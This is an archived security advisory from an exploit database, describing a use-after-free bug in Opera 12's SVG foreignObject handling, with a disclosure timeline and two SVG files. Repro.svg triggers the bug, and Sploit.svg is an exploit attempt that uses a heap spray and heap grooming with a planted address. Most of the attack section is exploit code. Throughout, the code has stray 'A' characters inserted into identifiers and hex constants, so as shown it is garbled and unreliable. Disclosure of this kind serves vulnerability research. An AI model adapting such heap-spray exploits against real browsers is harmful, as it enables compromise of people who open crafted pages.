what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Opera foreignObject textNode::removeChild Use-After-Free

Opera foreignObject textNode::removeChild Use-After-Free
Posted Dec 2, 2016
Authored by SkyLined

Opera suffers from a foreignObject textNode::removeChild use-after-free vulnerability.

tags | exploit
SHA-256 | 9cc42e69eae1ca521e8968289d7d5db932201ee29bd95e6b3b41610ffbe6890c

Opera foreignObject textNode::removeChild Use-After-Free

Change Mirror Download
Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twenty-second entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

Due to the recent Firefox 0-day, I've selected a very old and not so
interesting bug for today, so you can get back to looking at the former
as soon as possible.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161130001.html. There you can find a repro
that triggered this issue and an exploit that may or may not work in
addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Opera foreignObject textNode::removeChild use-after-free
========================================================
(The fix and CVE number for this issue are unknown)

Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Opera. This vulnerability was found a very long time ago, back when I
did not keep organized records of my analysis, so unfortunately, I
cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
------------------------------------------
* Opera 12

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.

Description
-----------
As I mentioned, I did not keep detailed records of my analysis, so there
is not much I can say about this vulnerability, other than that I did
attempt to write an exploit. However, I do not know how successful this
exploit was. I did not include it in my report to iDefense, so I am
assuming it was not successful.


Time-line
---------
* Before August 2012: This vulnerability was found through fuzzing.
* August 2012: This vulnerability was submitted to iDefense.
* September 2012: This vulnerability was acquired by iDefens
(see note).
* November 2016: Details of this vulnerability are released.

(I asked ZDI and iDefense if they were interested in Opera
vulnerabilities before submitting them. ZDI responded that they was not,
but iDefense _accidentally_ said they were. After submitting my first
vulnerability, iDefense explained that there had been a mistake on their
side and that they were not in fact interested. However, they kindly
offered to buy this vulnerability for a token reward, which I accepted).

Cheers,

SkyLined



Repro.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
oAForeignAObject.removeAChild(oAForeignAObject.firstAChild);
opera.collect();
}
setATimeout(function(){
location.reload();
}, 100);
}
]]>
</script>
<foreignAObject width="1px" height="1px">text</foreignAObject>
</svg>


Description

As I mentioned, I did not keep detailed records of my analysis, so there is not much I can say about this vulnerability, other than that I did attempt to write an exploit. However, I do not know how successful this exploit was. I did not include it in my report to iADefense, so I am assuming it was not very successful.



Sploit.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
var iAHeapASprayAGranularity = 0x00100000,
iAHeapASprayAStartAAddress = 0x05000000,
iAHeapASprayAAddress = 0x12345678,
iAHeapASprayAHeaderASize = 0x44,
iAHeapABlockASize = 0x100,
iATextANodeASize = 0x40;

var oAHeapABuffer = new Buffer(iAHeapABlockASize, 0x41);
oAHeapABuffer.setADword(0x14, iAHeapASprayAAddress);
oAHeapABuffer.setADword(0x78, 0xADEADBEEF - 0x188);
var sAHeapABlock = oAHeapABuffer.toAString();
if (sAHeapABlock.length != 0x80) throw '"' + sAHeapABlock + '".length = ' + sAHeapABlock.length.toAString(16);
console.log('sAHeapABlock = "' + sAHeapABlock + '"');
console.log('sAHeapABlock.length = ' + sAHeapABlock.length.toAString(16));

var sAHeapASprayABlock = sAHeapABlock.substr(iAHeapASprayAHeaderASize) + sAHeapABlock.substr(0, iAHeapASprayAHeaderASize);
var iAHeapASprayABlockACopies = iAHeapASprayAGranularity / iAHeapABlockASize;
var asAHeap = [];
console.log('sAHeapABlock * ' + iAHeapASprayABlockACopies.toAString(16) + ' = ' + iAHeapASprayAGranularity.toAString(16));
do {
asAHeap.push(new Array(iAHeapASprayABlockACopies).join(sAHeapASprayABlock));
} while (iAHeapASprayAStartAAddress + asAHeap.length * iAHeapASprayAGranularity < iAHeapASprayAAddress);

window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

var aoAHeapAFengAShui = [];
// Fill all gaps
for(var iACount = 1; iACount < 0x400; iACount++) {
for (var iASize = 0x10; iASize < 0x200; iASize += 0x10) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock.substr(0, iASize / 2 - 1)));
}
opera.collect();
}
// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
var iALength = oAForeignAObject.removeAChild(oAForeignAObject.firstAChild).nodeAValue.length;
for(var iACount = 1; iACount < 0x200; iACount++) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock));
}
opera.collect();
}
alert('FAIL!');
setATimeout(function(){
location.reload();
}, 100);
}

function Buffer(iASize, iADefaultAValue) {
this.data = {};
for (var i = 0; i < iASize; i++) {
this.data[i] = iADefaultAValue;
}
this.setADword = function Buffer_Adword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAWord = function Buffer_Aword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAByte = function Buffer_Abyte(iAIndex, iAValue) {
this.data[iAIndex] = iAValue & 0xAFF;
}
this.toAString = function Buffer_AtoAString() {
var sAString = "";
for (var i = 0; i < iASize; i+=2) {
var iACharACode = this.data[i] + (this.data[i+1] << 8);
sAString += String.fromACharACode(iACharACode);
}
return sAString;
}
}
]]>
</script>
<foreignAObject width="1px" height="1px">0_________AA____1111111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA__</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA</foreignAObject>
</svg>




Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close